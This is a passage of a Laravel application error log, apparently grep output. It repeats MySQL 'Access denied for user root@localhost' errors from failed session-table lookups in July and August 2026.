production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = hDwn3cdc7meBgbrgduYWYnIH3O5j1ePkHqy40R4n limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = hDwn3cdc7meBgbrgduYWYnIH3O5j1ePkHqy40R4n limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-07-20 13:47:35] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = 2oDMrOvgGBzZsdoiXyFNDZX64rcvbJMHelLejRQA limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = 2oDMrOvgGBzZsdoiXyFNDZX64rcvbJMHelLejRQA limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-07-20 17:05:50] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = 1fjKTPycJyiuSgDyVbcO5J5CbYhEm02XoPatChHf limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = 1fjKTPycJyiuSgDyVbcO5J5CbYhEm02XoPatChHf limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-07-20 18:05:35] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = OFDcoIq1jOFK6rQY0x4Z6850G7I3KEAANrRCot7g limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = OFDcoIq1jOFK6rQY0x4Z6850G7I3KEAANrRCot7g limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-07-21 05:05:41] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = AXC1pRtTK9EjgdZG16TVzXTWHzgWj074KP88epbB limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = AXC1pRtTK9EjgdZG16TVzXTWHzgWj074KP88epbB limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-07-21 05:09:17] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = oRZ6BRgv4uVAPu5hwog2hs60CfBNJmS3lW5ZpRqx limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = oRZ6BRgv4uVAPu5hwog2hs60CfBNJmS3lW5ZpRqx limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-07-21 07:19:35] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = Qv9URvgBve7kPVdMup1CeYDz8GDlHBGXBX7Xh0s1 limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = Qv9URvgBve7kPVdMup1CeYDz8GDlHBGXBX7Xh0s1 limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-07-22 09:58:11] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = J0aQxaSn0hkaBqOTMi9PZomFBl9Q9K8aZEHZYsth limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = J0aQxaSn0hkaBqOTMi9PZomFBl9Q9K8aZEHZYsth limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-07-23 04:02:23] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = Wm0n3AumVDElZiysmOs4A1NL364HrTy04wbe5cnU limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = Wm0n3AumVDElZiysmOs4A1NL364HrTy04wbe5cnU limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-07-23 16:08:06] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = dHPm2aIIUwnT0itLGJr8YZXamBW6ZqQ3IWbOG793 limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = dHPm2aIIUwnT0itLGJr8YZXamBW6ZqQ3IWbOG793 limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-07-24 05:12:46] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = nUyWuZcW0hBCx3Y2PkUdzyuAB3JPBEDwzNJmfKIL limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = nUyWuZcW0hBCx3Y2PkUdzyuAB3JPBEDwzNJmfKIL limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-07-25 15:47:09] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = WCWeMK9xgqbx8KFWaWBdK2aAHqD6twf67VxRCHDm limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = WCWeMK9xgqbx8KFWaWBdK2aAHqD6twf67VxRCHDm limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-07-25 20:28:24] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = 2Y3Z2GS6nQlYygzauNF7GF5HyeT6iCdeXZ5qCEck limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = 2Y3Z2GS6nQlYygzauNF7GF5HyeT6iCdeXZ5qCEck limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-07-25 23:36:04] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = laFM9SD6Y5QTabaOfBmDlVcVJNPzHtR6pgfTgs2k limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = laFM9SD6Y5QTabaOfBmDlVcVJNPzHtR6pgfTgs2k limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-07-26 08:18:20] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = cC4iNbKOAlZXueIEkJhNX9XkfFLbZGp4Nxq9cYyS limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = cC4iNbKOAlZXueIEkJhNX9XkfFLbZGp4Nxq9cYyS limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-07-26 11:26:00] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = x3p7irYQrcbkrNalddFR7KBTGqUDpvaQpXerVkUr limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = x3p7irYQrcbkrNalddFR7KBTGqUDpvaQpXerVkUr limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-07-27 03:44:55] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = SwfAvw3eQ0OpzGMgNXJBacuJ5VauM2oknJDabVSM limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = SwfAvw3eQ0OpzGMgNXJBacuJ5VauM2oknJDabVSM limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-07-27 18:40:28] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = xfRBjbXI9hzgfwV9cJcA2u5OQLY88oTUtccGlJWz limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = xfRBjbXI9hzgfwV9cJcA2u5OQLY88oTUtccGlJWz limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-07-27 18:40:30] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = 20VrDkfVV0X99uNOsgjSrAd5LU5EnUhqS2KM4m66 limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = 20VrDkfVV0X99uNOsgjSrAd5LU5EnUhqS2KM4m66 limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-07-28 10:06:53] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = 1YHaMTUKWt2WmfVT9EBZMcqnukV40oOR4sqLJsWV limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = 1YHaMTUKWt2WmfVT9EBZMcqnukV40oOR4sqLJsWV limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-07-28 10:36:46] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = gWq3fNG2bHDRxNW7awUzpIIpJfa8PXJiyzg25Czi limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = gWq3fNG2bHDRxNW7awUzpIIpJfa8PXJiyzg25Czi limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-07-29 10:35:09] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = IdjLRIDzfN4txc2roo2sn3Nf84Ah5MEVLap9fTWP limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = IdjLRIDzfN4txc2roo2sn3Nf84Ah5MEVLap9fTWP limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-07-29 10:35:11] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = OumTD1Ay3FCdEsfzXTmMPrqfqUb4jHIiiOJMhFzn limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = OumTD1Ay3FCdEsfzXTmMPrqfqUb4jHIiiOJMhFzn limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-07-31 10:06:36] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = MevNmRu3Tv0uKB4hNdyu7LyyNOaqspCH2zceEZIM limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = MevNmRu3Tv0uKB4hNdyu7LyyNOaqspCH2zceEZIM limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-07-31 20:20:53] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = 2GKje655gcnOQI5apVyiMmGKqlc5gYYtBQTU4JmW limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = 2GKje655gcnOQI5apVyiMmGKqlc5gYYtBQTU4JmW limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-08-02 04:05:57] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = AajhCaFlUYBOQlKbTIIgik0iIuGmUfiDLhYewuyw limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = AajhCaFlUYBOQlKbTIIgik0iIuGmUfiDLhYewuyw limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-08-02 11:24:35] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = vfBPXgD6ajTkF9w2JWR9jIqMiKwRiA4KzRicfooh limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = vfBPXgD6ajTkF9w2JWR9jIqMiKwRiA4KzRicfooh limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-08-02 19:11:09] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = ETf25Gs4LmuFwoJ6c1CyOnSlMEqTdsjE0Gi3MsOB limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = ETf25Gs4LmuFwoJ6c1CyOnSlMEqTdsjE0Gi3MsOB limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-08-03 18:08:28] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = rvg5NUr8F4ut7qSBZxxHodfE8neBHP1z5SZldKUr limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = rvg5NUr8F4ut7qSBZxxHodfE8neBHP1z5SZldKUr limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-08-03 18:08:28] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = FNzrCjKHzVLGGP7WjlWhDfj2lnDj23j2snyJE9YP limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = FNzrCjKHzVLGGP7WjlWhDfj2lnDj23j2snyJE9YP limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) 